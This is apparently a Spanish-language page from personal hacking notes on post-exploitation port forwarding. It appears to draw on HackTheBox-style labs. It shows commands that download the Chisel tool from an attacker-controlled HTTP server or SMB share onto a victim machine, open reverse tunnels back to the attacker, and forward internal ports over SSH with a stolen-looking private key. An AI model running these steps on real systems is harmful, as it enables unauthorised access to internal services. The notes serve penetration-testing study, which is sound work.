> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/post-exploitation/port-forwarding-techniques.md).
# Técnicas de redireccionamiento de puertos
{% hint style="info" %}
**Reenvío de puertos** es una técnica de red que redirige conexiones desde un puerto específico de una máquina a otra máquina o puerto. Esto se usa a menudo para acceder a servicios internos desde el exterior, pasando por cortafuegos o routers.
{% endhint %}
netstat -tuln
netstat -ano | findstr LISTENING
## Chisel :
### Linux
Primero compilamos Chisel en nuestra máquina local:
{% embed url="" %}
```bash
git clone https://github.com/jpillora/chisel
```
```bash
go build -ldflags "-s -w" .
upx chisel
```
Luego transfiera el ejecutable de Chisel a la máquina víctima a través de un servidor HTTP de Python3:
```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```
En nuestra máquina, iniciamos el servidor de Chisel:
./chisel server -p 8888 -reverse
En la máquina víctima, configure el cliente de Chisel para reenviar el puerto 631 de vuelta a la máquina atacante:
```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```
### Windows
{% embed url="" %}
**Descargando y preparando archivos:**/ Descargamos los archivos comprimidos **Chisel** archivos, a saber:
* `chisel-linux`
* `chisel-windows.exe`
{% embed url="" %}
{% embed url="" %}
Después de extraer los archivos, transfiera el **Chisel** binario al objetivo Windows:
```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```
**Escuchando en la máquina atacante con Chisel:**/ Iniciar **Chisel** en modo servidor en la máquina atacante en el puerto 8888:
```bash
./chisel-linux server -p 8888 -reverse
```
Luego, en la máquina Windows, ejecute **Chisel** en modo cliente y reenvíe el puerto 5985 de vuelta a la máquina atacante:
```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```
## SSH :
Redirigimos los puertos internos a nuestra máquina y usamos la clave privada del usuario y aplicamos los permisos adecuados:
```bash
chmod 600 id_rsa
```
```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```
---
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